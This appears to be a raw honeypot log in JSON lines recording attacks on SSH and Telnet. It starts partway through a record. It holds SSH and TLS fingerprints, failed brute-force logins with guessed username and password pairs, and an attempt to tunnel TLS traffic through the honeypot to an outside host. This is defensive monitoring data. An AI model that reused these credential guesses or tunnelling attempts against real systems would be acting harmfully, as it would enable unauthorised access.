Rzii3FwQP3iRCf9poioJ4Qrccrxa4XF4CpdM22YBPCE5RsOUlAmeKQjFNwoOG9MoSX0txCf2oRFSda09jevjxPrqxi7j8Ytu7GyCk1QQGIU4pgGI%2B7r%2ByVWp%2BdCULDMbOEUjQbEULckPyLEUiTyhjg5X%2FluhPKqzYq6Qdbbb2fZ0lIpgixXvgk0a5xp6E4mItcXTieB9LVi8FleF73FV7MYRCSnwRXhn5sl%2FCL%2BwxvBwBfOKkBeEour%2Bx5H05C1CQT0DVT88LX7kHKTyHEEsmIjkdqVc6baVVGLjyARTJauuIbR2t8%2Bv6B'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:37.366197Z","src_ip":"23.175.50.52","session":"265d85c0744c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:37.639553Z","session":"265d85c0744c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:37.717971Z","src_ip":"23.175.50.52","session":"265d85c0744c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z\\xa4\\x80y\\x19\\xc9v\\x97\\xa4\\x93d\\xb2I\\xe1\\x96gL\\xd5\\x8e-\\xb9\\xce\\xf7\\xf3I\\xd3=mK\\x9a%\\xb1 \\xe7\\xe3\\xa0\\xd1\\xe2\\x12?\\x87\\xc0\\t\\xd2y\\xe7\\xd1m\\x11\\xf9\\xf5\\xc7\\xed\\x02\\xb2\\xc6\\n#V -Q$\\xfeg\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5B\\x86\\xaa-a\\x1fW\\xf7\\x90;G\\x02:\\x9bA\\xe5\\xd4t\\xaf\\xcf\\xb3\\xe0\\xd8\\xfeG\\xc2\\x8b\\x0e\\xee\\x1aD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z\\xa4\\x80y\\x19\\xc9v\\x97\\xa4\\x93d\\xb2I\\xe1\\x96gL\\xd5\\x8e-\\xb9\\xce\\xf7\\xf3I\\xd3=mK\\x9a%\\xb1 \\xe7\\xe3\\xa0\\xd1\\xe2\\x12?\\x87\\xc0\\t\\xd2y\\xe7\\xd1m\\x11\\xf9\\xf5\\xc7\\xed\\x02\\xb2\\xc6\\n#V -Q$\\xfeg\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5B\\x86\\xaa-a\\x1fW\\xf7\\x90;G\\x02:\\x9bA\\xe5\\xd4t\\xaf\\xcf\\xb3\\xe0\\xd8\\xfeG\\xc2\\x8b\\x0e\\xee\\x1aD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:37.723582Z","src_ip":"23.175.50.52","session":"265d85c0744c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:37.786818Z","session":"265d85c0744c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:37.885834Z","src_ip":"23.175.50.52","session":"265d85c0744c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x14\\r\\x14\\xb5\\xf1\\xc7\\xc6\\xb3\\xef\\x1f&\\nq\\x1d\\xd8\\xe1T\\xdbP\\x17F\\xb9\\x99\\xecf\\xc7\\xa9\\x1d\\x9e\\x01\\x91\\xd5 \\x95\\xaf7WZF\\xb2/\\x0fB\\xcb\\xed.N0\\x96dK\\xc1lck\\xdf\\xae\\xdb\\x1c\\xc7\\x8e\\x04\\xa3K\\'\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xda~\\x10\\xe7j\\xdeh\\xec\\xa9\\xbd\\x8a\\x1c\\xb1\\x1dRN\\x9c/\\x08\\xf2\\xbee\\xfb\\x8e\\xa0b\\x1b^\\xb7\\x7fB\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x14\\r\\x14\\xb5\\xf1\\xc7\\xc6\\xb3\\xef\\x1f&\\nq\\x1d\\xd8\\xe1T\\xdbP\\x17F\\xb9\\x99\\xecf\\xc7\\xa9\\x1d\\x9e\\x01\\x91\\xd5 \\x95\\xaf7WZF\\xb2/\\x0fB\\xcb\\xed.N0\\x96dK\\xc1lck\\xdf\\xae\\xdb\\x1c\\xc7\\x8e\\x04\\xa3K\\'\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xda~\\x10\\xe7j\\xdeh\\xec\\xa9\\xbd\\x8a\\x1c\\xb1\\x1dRN\\x9c/\\x08\\xf2\\xbee\\xfb\\x8e\\xa0b\\x1b^\\xb7\\x7fB\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:37.888802Z","src_ip":"23.175.50.52","session":"265d85c0744c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.2","message":"Connection lost after 13.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:40.333749Z","src_ip":"23.175.50.52","session":"265d85c0744c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian12","message":"login attempt [debian/debian12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:41.651816Z","src_ip":"91.92.40.36","session":"3ef1377e41e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.81153917312622,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:41.990468Z","src_ip":"172.81.62.90","session":"22231e69516f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42342,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5c3efa6ac85","protocol":"ssh","message":"New connection: 91.92.40.36:42342 (159.203.135.109:22) [session: c5c3efa6ac85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:42.900613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:43.088663Z","src_ip":"91.92.40.36","session":"c5c3efa6ac85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:43.091993Z","src_ip":"91.92.40.36","session":"c5c3efa6ac85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:43.437296Z","src_ip":"91.92.40.36","session":"3ef1377e41e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"admin@123","message":"login attempt [user1/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:44.875675Z","src_ip":"91.92.40.36","session":"c5c3efa6ac85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:46.456829Z","src_ip":"91.92.40.36","session":"c5c3efa6ac85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.76326584815979,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:47.482229Z","src_ip":"172.81.62.90","session":"ad9d5e9bf3d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50478,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac132c6e8152","protocol":"telnet","message":"New connection: 128.199.8.54:50478 (159.203.135.109:23) [session: ac132c6e8152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:48.164181Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44590,"dst_ip":"159.203.135.109","dst_port":22,"session":"70e30eafe98f","protocol":"ssh","message":"New connection: 91.92.40.36:44590 (159.203.135.109:22) [session: 70e30eafe98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:49.220465Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":35556,"dst_ip":"10.17.0.5","dst_port":22,"session":"2473c312a7a2","protocol":"ssh","message":"New connection: 46.19.67.181:35556 (10.17.0.5:22) [session: 2473c312a7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:49.674979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:49.852226Z","src_ip":"91.92.40.36","session":"70e30eafe98f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:49.857146Z","src_ip":"91.92.40.36","session":"70e30eafe98f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123qwerty","message":"login attempt [guest/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:53.481445Z","src_ip":"91.92.40.36","session":"70e30eafe98f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:55.969398Z","src_ip":"91.92.40.36","session":"70e30eafe98f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12982,"dst_ip":"159.203.135.109","dst_port":22,"session":"4df84dda5d07","protocol":"ssh","message":"New connection: 91.92.40.36:12982 (159.203.135.109:22) [session: 4df84dda5d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:56.700465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:57.316422Z","src_ip":"91.92.40.36","session":"4df84dda5d07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-ni